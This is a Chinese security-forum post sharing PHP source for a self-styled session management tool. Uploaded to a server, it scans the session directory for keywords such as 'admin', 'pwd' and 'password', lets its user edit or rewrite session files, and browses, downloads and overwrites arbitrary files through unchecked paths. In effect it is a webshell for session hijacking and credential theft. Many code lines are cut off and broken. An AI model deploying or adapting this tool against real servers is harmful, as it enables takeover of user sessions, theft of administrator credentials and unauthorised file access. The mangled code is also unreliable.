PHP服务器站点管理工具,PHP服务端SESSION管理工具提供下载

文章作者：Inking

信息来源：邪恶八进制信息安全团队(www.eviloctal.com)

前两天我所在的楼层断了网,郁闷的我什么也干不了.之前刚好看到剑心的blog里有篇疯狗写的关于利用session渗透的文章,文章写得很简单,到最后" 小气"的疯狗也没有把利用程序发出来,所以我不管有没有用先把它写下来了.由于不能查资料,所以只好对这手册看,代码在很多方面可能还存在着缺陷.最烦人的还是正则和文件流操作的问题,循环来循环去的,把我的头都搞晕了,光是调试都花了整整一天的时间(写代码粗心大意没办法).希望大家多提提意见看法.. 疯狗的章:http://www.loveshell.net/blog/blogview.asp?logID=101

写好后我对程序的执行效率进行了大致的测试

执行环境:winxp,PHP5,apache2,酷睿2050--1.6GHZ,512m内存,945主板

文件系统:6层目录,每层1000个文件,session文件大约为50-100字节

搜索这6000个文件大约需10-15s的执行时间,效率并不像我想象中的那么低.

if(isset($_GET['download'])){

$filename=$_GET['filename'];

$dirname=$_GET['dirname'];

ob_start();

download($dirname,$filename);

flush;

}

session_start();

$default=ini_get('session.save_path');

$thispath=str_replace("\\","/",__FILE__);

$thispath=substr($thispath,0,strrpos($thispath,"/"));

?>

body{

margin:0;

padding:0;

background:#000000;

color:green;

margin-top=60px;

FONT-FAMILY: verdana;

FONT-SIZE: 10px;

}

input{

margin:0px;

padding:0px;

color:green;

border: 1px;

border-bottom-color:#ffffff;

}

hr{

width:85%;

height:1px;

}

}

if(isset($_POST['m_path'])){//对单个值进行修改

$m_path=$_POST['m_path'];

$m_value=$_POST[m_value];

$f=fopen($m_path,'r');

$content=fgets($f,1024);

$explode=explode(";",$content);

fclose($f);

$f=fopen($m_path,'w');

$m_content='';

for($i=0;$i

$modified=ereg_replace("\".*\"",'"'.$m_value[$i].'"',$explode[$i]);

$m_content.=$modified.";";

}

fwrite($f,$m_content);

fclose($f);

echo "

}

if(isset($_GET['modify_all'])){//显示要修改的文件的内容

$filepath=$_GET['modfname'];

$f=fopen($filepath,"r");

$fcontent=fread($f,filesize($filepath));

echo "

echo "

echo "";

echo "

echo "

    返回上一步

fclose($f);

}

if(isset($_POST['m_content'])){//进行完全修改

$m_content=$_POST['m_content'];

$filepath=$_POST['filepath'];

if(get_magic_quotes_gpc()) $m_content=stripslashes($m_content);

$f=fopen($filepath,"w");

fwrite($f,$m_content);

fclose($f);

echo "

echo "

}

if(isset($_GET['help'])){//显示help

print<<本程序的功能是从指定的文件夹下读取本文件夹及其子文件夹下的所有session文件的值,或者搜索含有指定关键字的session文件,不过注意由于写得很粗略,没有用到数据库功能,所以不支持多个关键字搜索,请搜索类似"admin","pwd","user","password"等可能含有管理员信息的关键字.
如果服务器的访问量大,势必会产生很多session文件,最好用关键字的方法,并耐心等待,因为该程序要一个个的读取session文件,并进行匹配,效率之低可想而知.
由于这个程序就是为了从众多session文件中查找相关内容而设计的,所以并没有添加直接修改指定session文件的功能,而只是对搜索出来的session文件进行编辑.如果需要,请用记事本打开session文件进行编辑.你也可以提交如下url进行编辑:"http://test.com/session.php?modfname=&modname=&modify=1".
在session路径的填写框中尽量用"/"来代替"\",windows的seesion文件默认保存路径为"c:/windows/temp",linux下为"/tmp",不过程序会自动帮你读出当前session所在的路径,如果需要读取其它的session请自行查找,并手动填入.如果知道你所需要的session文件的具体文件夹,最好具体指明,这样可以省时一些.点"读取"后会显示出搜索结果,以"session_name=>value"的形式显示你所搜索到的结果,点击对应的session_id进入编辑状态,点击"确定修改"进行相关内容的修改,或者点"打开文件"进行完全编辑,然后确认保存.
如果目录填写不正确或者目录中的session文件都为空,那么程序会报错"目录中无session文件",这个时候请仔细检查.
程序做好后一直因为网络没有恢复,所以我又添加了个简单的文件操作功能,方便使用吧
因为我自己对正则不是很熟悉,对session的工作原理可能也了解的不是很透彻,前前后后花了两天的时间才写好,光调试就花了我大半的时间,所以bug难免,尤其在正则匹配方面,欢迎到我的博客交流.
作这个程序的灵感来自疯狗的两篇文章,请参阅:http://www.loveshell.net/blog/blogview.asp?logID=101
具体使用时请自行删除本帮助文档,本程序归Inking所有,仅供交流,一切使用上造成的后果于作者无关.

eof;

}

if(isset($_GET['fcontrol'])){

$dirname=$_GET['dirname'];

if($dirname[strlen($dirname)-1]!="\\"&&$dirname[strlen($dirname)-1]!="/") $dirname.="/";

echo "

$opendir=opendir($dirname) or die("

while($file=readdir($opendir)){

if($file=="."){

echo "

continue;

}

elseif($file==".."){

$newname=substr($dirname,0,strrpos($dirname,"/"));

$newname=substr($newname,0,strrpos($newname,"/")+1);

echo "

}

elseif(is_dir($dirname.$file."/")){

echo "

}

elseif(getftype($file)){

echo "

}

else{

echo "

}

}

}

function getfname($spath){//遍历目录,并调用getvalue()函数得到各个session_name的值

global $fpath,$file;

if($spath[strlen($spath)-1]!="\\"&&$spath[strlen($spath)-1]!="/") $spath.="/";

$opendir=opendir($spath) or die("

while($file=readdir($opendir)){

if($file=="."||$file=="..") continue;

if(is_dir($spath.$file."/")){

getfname($spath.$file."/");

}

elseif(ereg("^sess_",$file)){

$fpath=$spath.$file;

preg_match('/(^sess_)(.+)+/',$file,$prex);

$file=$prex[2];

getvalue($fpath,'0',$type);

}

}

closedir($opendir);

}

function getvalue($fpath,$modify='0',$type){//得到某个session文件中的session变量的值

global $type,$fpath,$sessname,$session,$file,$modsession,$sid;

$f=fopen($fpath,"a+");

$content=fgets($f,1024);

fclose($f);

$explode=explode(";",$content);

$i=0;

while($match=$explode[$i++]){

preg_match('/(^[^\|]*)+\|.+\"(.+)+\"$/',$match,$value);

$sname=$value[1];

$svalue=$value[2];

if($modify==1){

$modsession[$fpath][$sid][$sname]=$svalue;

continue;

}

if($type){

if(eregi($sessname,$sname)==true){

$session[$fpath][$file][$sname]=$svalue;

}

}

else{

$session[$fpath][$file][$sname]=$svalue;

}

}

}

function getftype($filename){//判断文件类型

$ftype=substr($filename,strrpos($filename,".")+1);

switch($ftype){

case "txt":

return true;

case "asp":

return true;

case "php":

return true;

case "ini":

return true;

case "log":

return true;

default:

return false;

}

}

function download($dirname,$filename){

$f=fopen($dirname.$filename,"r");

$contents=fread($f,filesize($dirname.$filename));

fclose($f);

Header("Content-type: application/octet-stream");

Header("Accept-Ranges: bytes");

Header("Accept-Length: ".filesize($dirname.$filename));

Header("Content-Disposition: attachment; filename=".$filename);

echo $contents;

}

?>

下载

本文来自互联网用户投稿，文章观点仅代表作者本人，不代表本站立场，不承担相关法律责任。如若转载，请注明出处。 如若内容造成侵权/违法违规/事实不符，请点击【内容举报】进行投诉反馈！